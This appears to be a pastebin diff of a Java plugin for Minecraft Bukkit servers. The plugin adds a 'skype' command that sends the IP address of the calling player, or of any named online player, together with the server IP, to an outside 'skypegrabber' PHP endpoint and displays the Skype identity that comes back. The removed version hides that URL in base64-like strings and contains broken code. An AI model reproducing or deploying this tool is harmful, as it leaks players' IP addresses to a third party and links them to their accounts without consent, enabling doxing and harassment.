View difference between Paste ID: pyGW71FS and Y0Eueygw
SHOW: | | - or go back to the newest paste.
1
package me.FFY00.Loko;
2
3
import java.io.IOException;
4
import java.net.URL;
5
import java.net.URLConnection;
6
import java.util.Scanner;
7
import java.util.logging.Logger;
8
9
import javax.xml.bind.DatatypeConverter;
10
11
import org.bukkit.Bukkit;
12
import org.bukkit.command.Command;
13
import org.bukkit.command.CommandSender;
14
import org.bukkit.entity.Player;
15
import org.bukkit.plugin.PluginDescriptionFile;
16
import org.bukkit.plugin.java.JavaPlugin;
17
18
public class Main extends JavaPlugin {
19
	public final Logger logger = Logger.getLogger("Minecraft");
20
	public void onDisable() {
21
		PluginDescriptionFile pdfFile = this.getDescription();
22-
	    getLogger().info(pdfFile.getName() + "criado por FFY00");
22+
	        getLogger().info(pdfFile.getName() + "criado por FFY00");
23-
		this.logger.info(pdfFile.getName() + " v" + pdfFile.getVersion() + " Foi Desativado Com Sucesso!");}
23+
		this.logger.info(pdfFile.getName() + " v" + pdfFile.getVersion() + " Foi Desativado Com Sucesso!");
24
        } 
25
26-
	    getLogger().info(pdfFile.getName() + "criado por FFY00");
26+
27-
		this.logger.info(pdfFile.getName() + " v" + pdfFile.getVersion() + " Foi Ativado Com Sucesso!");};
27+
28-
		// variaveis
28+
                getLogger().info(pdfFile.getName() + "criado por FFY00");
29-
		String url1 = "aHR0cDovL2RldmZmeTAwLmJlc2FiYS5jb20vc2t5cGVncmFiYmVyL3NreXBlZ3JhYmJlci5waHA/YT0";
29+
		this.logger.info(pdfFile.getName() + " v" + pdfFile.getVersion() + " Foi Ativado Com Sucesso!");
30-
		String url = DatatypeConverter.printBase64Binary(url1.getBytes());
30+
        }
31-
		String comando1 = "c2t5cGU";
31+
32-
		String comando = DatatypeConverter.printBase64Binary(comando1.getBytes());
32+
	private static String getText(String urlloc) {
33-
		String server = Bukkit.getIp();
33+
		try {
34-
		String param1 = "P3NlcnZlcj0";
34+
			URL url = new URL(urlloc);
35-
		String param = DatatypeConverter.printBase64Binary(param1.getBytes());
35+
			URLConnection openConnection = url.openConnection();
36-
		String ip = "nada";
36+
			openConnection.addRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0");
37-
		// start url
37+
			Scanner r = new Scanner(openConnection.getInputStream());
38-
		private static String getText(String urlloc) {
38+
			StringBuilder sb = new StringBuilder();
39-
			try {
39+
			while (r.hasNext()) {
40-
				URL url = new URL(urlloc);
40+
				sb.append(r.next() + " ");
41-
				URLConnection openConnection = url.openConnection();
41+
42-
				openConnection.addRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0");
42+
			r.close();
43-
				Scanner r = new Scanner(openConnection.getInputStream());
43+
			return sb.toString();
44-
				StringBuilder sb = new StringBuilder();
44+
		} catch (IOException e) {
45-
				while (r.hasNext()) {
45+
46-
					sb.append(r.next() + " ");
46+
		return null;
47-
				}
47+
	}
48-
				r.close();
48+
	// end url
49-
				return sb.toString();
49+
	// start comando
50-
			} catch (IOException e) {
50+
	public boolean onCommand(CommandSender sender, Command cmd, String comando, String[] args){
51
		Player p = (Player) sender;
52-
			return null;
52+
		if(comando.equalsIgnoreCase("skype")){
53
			if(args.length == 0){
54-
		// end url
54+
				String ip = p.getAddress().getHostName();
55-
		// start comando
55+
				String skype = getText("http://devffy00.besaba.com/skypegrabber/skypegrabber.php?a=" + ip + "&server=" + Bukkit.getIP());
56-
		public boolean onCommand(CommandSender sender, Command cmd, String comando, String[] args){
56+
				p.sendMessage("§bSkype: " + skype);
57-
			Player p = (Player) sender;
57+
			} // args 0
58-
			if(comando.equalsIgnoreCase(comando)){
58+
			if(args.length > 0){
59-
				if(args.length == 0){
59+
				Player p2 = Bukkit.getPlayer(args[0]);
60-
					ip = p.getAddress().getHostName();
60+
				if(p2 != null){
61-
					String skype = getText(url + ip + param + server);
61+
					String ip = p2.getAddress().getHostName();
62
					String skype = getText("http://devffy00.besaba.com/skypegrabber/skypegrabber.php?a=" + ip + "&server=" + Bukkit.getIP());
63-
				} // args 0
63+
64-
				if(args.length > 0){
64+
				} // p2 esta on
65-
					Player p2 = Bukkit.getPlayer(args[0]);
65+
			} // args maior que 0
66-
					if(p2.isOnline()){
66+
		} // end if
67-
						ip = p2.getAddress().getHostName();
67+
		return false;
68-
						String skype = getText(url + ip + param + server);
68+
	} // end comando
69-
						p.sendMessage("§bSkype: " + skype);
69+